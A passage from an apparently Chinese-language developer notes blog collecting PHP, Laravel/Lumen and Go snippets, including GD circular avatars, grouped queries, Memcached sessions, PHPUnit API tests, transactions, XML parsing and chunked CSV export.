'step2';</span></span><br><span class="line"><span class="string">// 执行顺序https://www.jianshu.com/p/c3bad948a905</span></span><br><span class="line"><span class="string">step1</span></span><br><span class="line"><span class="string">step3 (会阻塞执行，直到step3执行结束才会执行后续的step2)</span></span><br><span class="line"><span class="string">step2</span></span><br><span class="line"><span class="string">promise基本原理是一系列回调函数入队列，而出队列的函数注册到php脚本结束是运行的register_shutdown_function函数中。</span></span><br><span class="line"><span class="string">因此，所有的promise都是入队列，脚本执行结束再执行；如果脚本执行结束之前，有E_ERROR级别错误，promise不会执行。</span></span><br></pre></td></tr></table></figure>
<h3 id="基于-GD-库生成圆形头像"><a href="#基于-GD-库生成圆形头像" class="headerlink" title="基于 GD 库生成圆形头像"></a>基于 GD 库生成圆形头像</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment">   * 获取圆</span></span><br><span class="line"><span class="comment">   *</span></span><br><span class="line"><span class="comment">   * @param $imgPath 图片网络路径, 本地路径</span></span><br><span class="line"><span class="comment">   * @return resource</span></span><br><span class="line"><span class="comment">   * @author 19/1/29 CLZ.</span></span><br><span class="line"><span class="comment">   */</span></span><br><span class="line">  private <span class="function"><span class="keyword">function</span> <span class="title">_circleImg</span>(<span class="params">$imgPath</span>)</span></span><br><span class="line"><span class="function">  </span>&#123;</span><br><span class="line">      $src_img = imagecreatefromjpeg($imgPath);</span><br><span class="line"></span><br><span class="line">      list($w, $h) = getimagesize($imgPath);</span><br><span class="line">      $w           = $h = min($w, $h);</span><br><span class="line">      $img         = imagecreatetruecolor($w, $h);</span><br><span class="line">      imagesavealpha($img, <span class="literal">true</span>);</span><br><span class="line"></span><br><span class="line">      <span class="comment">// 拾取一个完全透明的颜色,最后一个参数127为全透明</span></span><br><span class="line">      $bg = imagecolorallocatealpha($img, <span class="number">255</span>, <span class="number">255</span>, <span class="number">255</span>, <span class="number">127</span>);</span><br><span class="line"></span><br><span class="line">      imagefill($img, <span class="number">0</span>, <span class="number">0</span>, $bg);</span><br><span class="line">      $r = $w / <span class="number">2</span>; <span class="comment">// 圆的半径</span></span><br><span class="line">      <span class="keyword">for</span> ($x = <span class="number">0</span>; $x &lt; $w; $x++) &#123;</span><br><span class="line">          <span class="keyword">for</span> ($y = <span class="number">0</span>; $y &lt; $h; $y++) &#123;</span><br><span class="line">              $rgbColor = imagecolorat($src_img, $x, $y);</span><br><span class="line">              <span class="keyword">if</span> (((($x - $r) * ($x - $r) + ($y - $r) * ($y - $r)) &lt; ($r * $r)))</span><br><span class="line">                  imagesetpixel($img, $x, $y, $rgbColor);</span><br><span class="line">          &#125;</span><br><span class="line">      &#125;</span><br><span class="line">      imagedestroy($src_img);</span><br><span class="line">      <span class="keyword">return</span> $img;</span><br><span class="line">  &#125;</span><br></pre></td></tr></table></figure>
<h3 id="Laravel-分组获取最新记录"><a href="#Laravel-分组获取最新记录" class="headerlink" title="Laravel 分组获取最新记录"></a>Laravel 分组获取最新记录</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//https://learnku.com/articles/20626</span></span><br><span class="line">select * <span class="keyword">from</span> (select * <span class="keyword">from</span> project where user_id = :user_id order by id desc) <span class="keyword">as</span> a group by a.name order by id desc;</span><br><span class="line">原因是 <span class="number">5.7</span> 版本 ORDER BY 没有 LIMIT 的时候，少了一个 DERIVED 操作，估计是内部优化了，认为 ORDER BY 在这种语法中可忽略，有 LIMIT 限制涉及排序后的结果，不会忽略 ORDER BY，可以达到预期。</span><br><span class="line">select * <span class="keyword">from</span> (select * <span class="keyword">from</span> project where user_id = :user_id order by id desc limit <span class="number">10000</span>) <span class="keyword">as</span> a group by a.name order by id desc;</span><br><span class="line">$limit = $request-&gt;get(<span class="string">'limit'</span>,<span class="number">10</span>);</span><br><span class="line">        $user_id = $request-&gt;get(<span class="string">'user_id'</span>,<span class="literal">null</span>);</span><br><span class="line"></span><br><span class="line">        $sub_query = Project::where(<span class="string">'user_id'</span>,$user_id)-&gt;orderBy(<span class="string">'id'</span>,<span class="string">'desc'</span>)-&gt;limit(<span class="number">1000</span>);<span class="comment">//子查询</span></span><br><span class="line"></span><br><span class="line">        $results = Project::select(<span class="string">'*'</span>)</span><br><span class="line">                -&gt;<span class="keyword">from</span>(DB::raw(<span class="string">'('</span>.$sub_query-&gt;toSql().<span class="string">') as a'</span>)) <span class="comment">//from() 类似与 DB::table(), toSql()得到带 ? 号的执行 sql 语句</span></span><br><span class="line">                -&gt;mergeBindings($sub_query-&gt;getQuery())<span class="comment">//mergeBindings() 合并绑定参数,getQuery()获得具体值</span></span><br><span class="line">                -&gt;groupBy(<span class="string">'name'</span>)</span><br><span class="line">                -&gt;orderBy(<span class="string">'id'</span>,<span class="string">'desc'</span>)</span><br><span class="line">                -&gt;paginate($limit);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> $<span class="keyword">this</span>-&gt;pageDate($results);</span><br></pre></td></tr></table></figure>
<h3 id="打包exe"><a href="#打包exe" class="headerlink" title="打包exe"></a>打包exe</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">package main</span><br><span class="line">#https://segmentfault.com/a/1190000013795920</span><br><span class="line"><span class="keyword">import</span> (</span><br><span class="line">    test <span class="string">"github.com/yimogit/gotest"</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line">func main() &#123;</span><br><span class="line">    test.HelloWord()</span><br><span class="line">&#125;</span><br><span class="line">go get -v github.com/yimogit/gotest</span><br><span class="line">go build -o test.exe</span><br></pre></td></tr></table></figure>
<h3 id="laravel读主"><a href="#laravel读主" class="headerlink" title="laravel读主"></a>laravel读主</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">在Model里面加上下面这句，强制读主（写）库数据库，解决主从延迟问题。</span><br><span class="line">public <span class="keyword">static</span> <span class="function"><span class="keyword">function</span> <span class="title">boot</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="comment">//清空从连接,会自动使用主连接</span></span><br><span class="line">    DB::connection()-&gt;setReadPdo(<span class="literal">null</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<h3 id="PHP使用Memcached存储Session"><a href="#PHP使用Memcached存储Session" class="headerlink" title="PHP使用Memcached存储Session"></a>PHP使用Memcached存储Session</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">session.save_handler = memcached </span><br><span class="line">session.save_path = <span class="string">"localhost:11211"</span> </span><br><span class="line">session_start();</span><br><span class="line">var_dump(session_id());<span class="comment">//vkfc4eefu7ihlu5iv7v3je8rm0  https://php1024.com/posts/50.htm</span></span><br><span class="line">var_dump(ini_get(<span class="string">'memcached.sess_prefix'</span>));  <span class="comment">// 'memc.sess.key.'</span></span><br><span class="line">get memc.sess.key.vkfc4eefu7ihlu5iv7v3je8rm0</span><br></pre></td></tr></table></figure>
<h3 id="单元测试"><a href="#单元测试" class="headerlink" title="单元测试"></a>单元测试</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br></pre></td><td class="code"><pre><span class="line">composer global <span class="built_in">require</span> <span class="string">"phpunit/phpunit=5.5.*"</span></span><br><span class="line">或者在composer.json文件中声明对phpunit/phpunit的依赖</span><br><span class="line">https:<span class="comment">//php1024.com/posts/15.htm</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="string">"require-dev"</span>: &#123;</span><br><span class="line">        <span class="string">"phpunit/phpunit"</span>: <span class="string">"5.5.*"</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line">在tests\unit\MyApiTest.php中定义了两个测试用例</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">&lt;?php</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">MyApiTest</span> <span class="keyword">extends</span> \<span class="title">PHPUnit_Framework_TestCase</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">    protected $client;</span><br><span class="line"></span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">setUp</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        $<span class="keyword">this</span>-&gt;client = <span class="keyword">new</span> \GuzzleHttp\Client( [</span><br><span class="line">            <span class="string">'base_uri'</span> =&gt; <span class="string">'http://myhost.com'</span>,</span><br><span class="line">            'http_errors' =&gt; false, #设置成 false 来禁用HTTP协议抛出的异常(如 4xx 和 5xx 响应)，默认情况下HTPP协议出错时会抛出异常。</span><br><span class="line">        ]);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">testAction1</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        $response = $<span class="keyword">this</span>-&gt;client-&gt;get(<span class="string">'/api/v1/action1'</span>);</span><br><span class="line">        $body = $response-&gt;getBody();</span><br><span class="line"></span><br><span class="line">        <span class="comment">//添加测试</span></span><br><span class="line">        $<span class="keyword">this</span>-&gt;assertEquals(<span class="number">200</span>, $response-&gt;getStatusCode());</span><br><span class="line">        $data = json_decode($body, <span class="literal">true</span>);</span><br><span class="line">        $<span class="keyword">this</span>-&gt;assertArrayHasKey(<span class="string">'errorno'</span>, $data);</span><br><span class="line">        $<span class="keyword">this</span>-&gt;assertArrayHasKey(<span class="string">'errormsg'</span>, $data);</span><br><span class="line">        $<span class="keyword">this</span>-&gt;assertArrayHasKey(<span class="string">'data'</span>, $data);</span><br><span class="line">        $<span class="keyword">this</span>-&gt;assertEquals(<span class="number">0</span>, $data[<span class="string">'errorno'</span>]);</span><br><span class="line">        $<span class="keyword">this</span>-&gt;assertInternalType(<span class="string">'array'</span>, $data[<span class="string">'data'</span>]);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">testAction2</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        $response = $<span class="keyword">this</span>-&gt;client-&gt;post(<span class="string">'/api/v1/action2'</span>, [</span><br><span class="line">            <span class="string">'form_params'</span> =&gt; [</span><br><span class="line">                <span class="string">'name'</span> =&gt; <span class="string">'myname'</span>,</span><br><span class="line">                <span class="string">'age'</span> =&gt; <span class="number">20</span>,</span><br><span class="line">            ],</span><br><span class="line">        ]);</span><br><span class="line">        $body = $response-&gt;getBody();</span><br><span class="line"></span><br><span class="line">        <span class="comment">//添加测试</span></span><br><span class="line">        $<span class="keyword">this</span>-&gt;assertEquals(<span class="number">200</span>, $response-&gt;getStatusCode());</span><br><span class="line">        $data = json_decode($body, <span class="literal">true</span>);</span><br><span class="line">        $<span class="keyword">this</span>-&gt;assertArrayHasKey(<span class="string">'errorno'</span>, $data);</span><br><span class="line">        $<span class="keyword">this</span>-&gt;assertArrayHasKey(<span class="string">'errormsg'</span>, $data);</span><br><span class="line">        $<span class="keyword">this</span>-&gt;assertArrayHasKey(<span class="string">'data'</span>, $data);</span><br><span class="line">        $<span class="keyword">this</span>-&gt;assertEquals(<span class="number">0</span>, $data[<span class="string">'errorno'</span>]);</span><br><span class="line">        $<span class="keyword">this</span>-&gt;assertInternalType(<span class="string">'array'</span>, $data[<span class="string">'data'</span>]);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line">运行测试</span><br><span class="line">在项目根目录执行命令</span><br><span class="line"></span><br><span class="line">php vendor/bin/phpunit  tests/unit/MyApiTest.php</span><br></pre></td></tr></table></figure>
<h3 id="lumen-事务"><a href="#lumen-事务" class="headerlink" title="lumen 事务"></a>lumen 事务</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">use Illuminate\Database\Eloquent\ModelNotFoundException;</span><br><span class="line">use DB;</span><br><span class="line">use App\Models\Article;</span><br><span class="line">use App\Models\Comment;</span><br><span class="line">use App\Models\Counter;</span><br><span class="line">use App\Models\Log;</span><br><span class="line">...</span><br><span class="line"><span class="comment">// 开始事务</span></span><br><span class="line">DB::beginTransaction();</span><br><span class="line"><span class="keyword">try</span> &#123;</span><br><span class="line">    $id = <span class="number">5</span>;</span><br><span class="line">    $article = Article::findOrFail($id);</span><br><span class="line">    Comment::where(<span class="string">'article_id'</span>, $id)-&gt;<span class="keyword">delete</span>();</span><br><span class="line">    Counter::where(<span class="string">'article_id'</span>, $id)-&gt;<span class="keyword">delete</span>();</span><br><span class="line">    Log::insert([</span><br><span class="line">        <span class="string">'content'</span> =&gt; <span class="string">'删除文章：'</span>.$id</span><br><span class="line">    ]);</span><br><span class="line">    <span class="comment">// 流程操作顺利则commit</span></span><br><span class="line">    DB::commit();</span><br><span class="line">&#125; <span class="keyword">catch</span> (ModelNotFoundException $e) &#123;</span><br><span class="line">    <span class="comment">// 抛出异常则rollBack</span></span><br><span class="line">    DB::rollBack();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<h3 id="lumen-sql"><a href="#lumen-sql" class="headerlink" title="lumen sql"></a>lumen sql</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">DB::statement(<span class="string">'drop table users'</span>);</span><br><span class="line">https:<span class="comment">//segmentfault.com/a/1190000005792605#articleHeader18</span></span><br><span class="line">DB::listen(<span class="function"><span class="keyword">function</span>(<span class="params">$sql, $bindings, $time</span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="comment">// $query-&gt;sql</span></span><br><span class="line">    <span class="comment">// $query-&gt;bindings</span></span><br><span class="line">    <span class="comment">// $query-&gt;time</span></span><br><span class="line"></span><br><span class="line">&#125;);</span><br><span class="line">$users = DB::connection(<span class="string">'foo'</span>)-&gt;select(...);</span><br><span class="line">$pdo = DB::connection()-&gt;getPdo();</span><br><span class="line"></span><br><span class="line">DB::beginTransaction();</span><br><span class="line">DB::rollback();</span><br><span class="line">DB::commit();</span><br><span class="line">DB::transaction(<span class="function"><span class="keyword">function</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    DB::table(<span class="string">'users'</span>)-&gt;update([<span class="string">'votes'</span> =&gt; <span class="number">1</span>]);</span><br><span class="line"></span><br><span class="line">    DB::table(<span class="string">'posts'</span>)-&gt;<span class="keyword">delete</span>();</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure>
<h3 id="xml2array"><a href="#xml2array" class="headerlink" title="xml2array"></a>xml2array</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//https://learnku.com/articles/22936#f411d0 一个类只做一件事 </span></span><br><span class="line">private <span class="keyword">static</span> <span class="function"><span class="keyword">function</span> <span class="title">xml2Array</span>(<span class="params">$xml</span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="keyword">if</span> (!<span class="keyword">static</span>::isXml($xml)) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> ResponseNotXMLException();</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="function"><span class="keyword">function</span> <span class="title">_XML2Array</span>(<span class="params">SimpleXMLElement $parent</span>)</span></span><br><span class="line"><span class="function">        </span>&#123;</span><br><span class="line">            $array = array();</span><br><span class="line"></span><br><span class="line">            foreach ($parent <span class="keyword">as</span> $name =&gt; $element) &#123;</span><br><span class="line">                ($node = &amp;$array[$name])</span><br><span class="line">                &amp;&amp; (<span class="number">1</span> === count($node) ? $node = array($node) : <span class="number">1</span>)</span><br><span class="line">                &amp;&amp; $node = &amp;$node[];</span><br><span class="line"></span><br><span class="line">                $node = $element-&gt;count() ? _XML2Array($element) : trim($element);</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">            <span class="keyword">return</span> $array;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        $xml = <span class="keyword">new</span> SimpleXMLElement($xml);</span><br><span class="line">        $data = _XML2Array($xml);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> $data;</span><br><span class="line">    &#125;</span><br><span class="line">     private <span class="keyword">static</span> <span class="function"><span class="keyword">function</span> <span class="title">isXml</span>(<span class="params">$xml</span>)</span></span><br><span class="line"><span class="function">        </span>&#123;</span><br><span class="line">            <span class="keyword">return</span> xml_parse(xml_parser_create(), $xml, <span class="literal">true</span>);</span><br><span class="line">        &#125;</span><br></pre></td></tr></table></figure>
<h3 id="导出Excel"><a href="#导出Excel" class="headerlink" title="导出Excel"></a>导出Excel</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//导出说明:因为EXCEL单表只能显示104W数据，同时使用PHPEXCEL容易因为数据量太大而导致占用内存过大，https://blog.csdn.net/Tim_phper/article/details/86636608</span></span><br><span class="line">    <span class="comment">//因此，数据的输出用csv文件的格式输出，但是csv文件用EXCEL软件读取同样会存在只能显示104W的情况，所以将数据分割保存在多个csv文件中，并且最后压缩成zip文件提供下载</span></span><br><span class="line">    <span class="function"><span class="keyword">function</span> <span class="title">putCsv</span>(<span class="params">array $head, $data, $mark = <span class="string">'attack_ip_info'</span>, $fileName = <span class="string">"test.csv"</span></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        set_time_limit(<span class="number">0</span>);</span><br><span class="line">        $sqlCount = $data-&gt;count();</span><br><span class="line">        <span class="comment">// 输出Excel文件头，可把user.csv换成你要的文件名</span></span><br><span class="line">        header(<span class="string">'Content-Type: application/vnd.ms-excel;charset=utf-8'</span>);</span><br><span class="line">        header(<span class="string">'Content-Disposition: attachment;filename="'</span> . $fileName . <span class="string">'"'</span>);</span><br><span class="line">        header(<span class="string">'Cache-Control: max-age=0'</span>);</span><br><span class="line"></span><br><span class="line">        $sqlLimit = <span class="number">100000</span>;<span class="comment">//每次只从数据库取100000条以防变量缓存太大</span></span><br><span class="line">        <span class="comment">// 每隔$limit行，刷新一下输出buffer，不要太大，也不要太小</span></span><br><span class="line">        $limit = <span class="number">100000</span>;</span><br><span class="line">        <span class="comment">// buffer计数器</span></span><br><span class="line">        $cnt = <span class="number">0</span>;</span><br><span class="line">        $fileNameArr = array();</span><br><span class="line">        <span class="comment">// 逐行取出数据，不浪费内存</span></span><br><span class="line">        <span class="keyword">for</span> ($i = <span class="number">0</span>; $i &lt; ceil($sqlCount / $sqlLimit); $i++) &#123;</span><br><span class="line">            $fp = fopen($mark . <span class="string">'_'</span> . $i . <span class="string">'.csv'</span>, <span class="string">'w'</span>); <span class="comment">//生成临时文件</span></span><br><span class="line">      <span class="comment">//     chmod('attack_ip_info_' . $i . '.csv',777);//修改可执行权限</span></span><br><span class="line">            $fileNameArr[] = $mark . <span class="string">'_'</span> .  $i . <span class="string">'.csv'</span>;</span><br><span class="line">        <span class="comment">// 将数据通过fputcsv写到文件句柄</span></span><br><span class="line">            fputcsv($fp, $head);</span><br><span class="line">            $dataArr = $data-&gt;offset($i * $sqlLimit)-&gt;limit($sqlLimit)-&gt;get()-&gt;toArray();</span><br><span class="line">            foreach ($dataArr <span class="keyword">as</span> $a) &#123;</span><br><span class="line">                $cnt++;</span><br><span class="line">                <span class="keyword">if</span> ($limit == $cnt) &#123;</span><br><span class="line">                    <span class="comment">//刷新一下输出buffer，防止由于数据过多造成问题</span></span><br><span class="line">                    ob_flush();</span><br><span class="line">                    flush();</span><br><span class="line">                    $cnt = <span class="number">0</span>;</span><br><span class="line">                &#125;</span><br><span class="line">                fputcsv($fp, $a);</span><br><span class="line">            &#125;</span><br><span class="line">            fclose($fp);  <span class="comment">//每生成一个文件关闭</span></span><br><span class="line">        &#125;</span><br><span class="line">        <span class="comment">//进行多个文件压缩</span></span><br><span class="line">        $zip = <span class="keyword">new</span> ZipArchive();</span><br><span class="line">        $filename = $mark . <span class="string">".zip"</span>;</span><br><span class="line">        $zip-&gt;open($filename, <span class="attr">ZipArchive</span>::CREATE);   <span class="comment">//打开压缩包</span></span><br><span class="line">        foreach ($fileNameArr <span class="keyword">as</span> $file) &#123;</span><br><span class="line">            $zip-&gt;addFile($file, basename($file));   <span class="comment">//向压缩包中添加文件</span></span><br><span class="line">        &#125;</span><br><span class="line">        $zip-&gt;close();  <span class="comment">//关闭压缩包</span></span><br><span class="line">        foreach ($fileNameArr <span class="keyword">as</span> $file) &#123;</span><br><span class="line">            unlink($file); <span class="comment">//删除csv临时文件</span></span><br><span class="line">        &#125;</span><br><span class="line">        <span class="comment">//输出压缩文件提供下载</span></span><br><span class="line">        header(<span class="string">"Cache-Control: max-age=0"</span>);</span><br><span class="line">        header(<span class="string">"Content-Description: File Transfer"</span>);</span><br><span class="line">        header(<span class="string">'Content-disposition: attachment; filename='</span> . basename($filename)); <span class="comment">// 文件名</span></span><br><span class="line">        header(<span class="string">"Content-Type: application/zip"</span>); <span class="comment">// zip格式的</span></span><br><span class="line">        header(<span class="string">"Content-Transfer-Encoding: binary"</span>); <span class="comment">//</span></span><br><span class="line">        header(<span class="string">'Content-Length: '</span> . filesize($filename)); <span class="comment">//</span></span><br><span class="line">        @readfile($filename);<span class="comment">//输出文件;</span></span><br><span class="line">        unlink($filename); <span class="comment">//删除压缩包临时文件</span></span><br><span class="line">    &#125;</span><br><span class="line">--当你有几百万数据的时候，执行</span><br><span class="line">  select <span class="keyword">from</span> table limit <span class="number">0</span>, <span class="number">10</span> 与 select <span class="keyword">from</span> table limit <span class="number">1000000</span>, <span class="number">10</span> 耗时会有明显的差别</span><br><span class="line">  你可以查下一offset带来的影响，简单说就是如果你limit <span class="number">1000000</span>, <span class="number">10</span> ，mysql处理的数据实际是<span class="number">1000010</span>条，然后再抛弃<span class="number">1000000</span>，获取后边的<span class="number">10</span>条，所以速度就慢了。</span><br><span class="line">  </span><br><span class="line">  还有一种场景就是当单表条数多时，有经验的开发列表页就不提供分页了，或者只让你查前几十页，不然真有人看几千页以后的数据，数据表受offset影响，返回速度会慢很多。</span><br><span class="line"> DB 果然要比 eloquent 方式快很多，正常了</span><br></pre></td></tr></table></figure>
<h3 id="Lumen-使用-throttle-限制接口访问频率"><a href="#Lumen-使用-throttle-限制接口访问频率" class="headerlink" title="Lumen 使用 throttle 限制接口访问频率"></a>Lumen 使用 throttle 限制接口访问频率</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br></pre></td><td class="code"><pre><span class="line">https:<span class="comment">//juejin.im/post/5c41bea8f265da61171cfecf</span></span><br><span 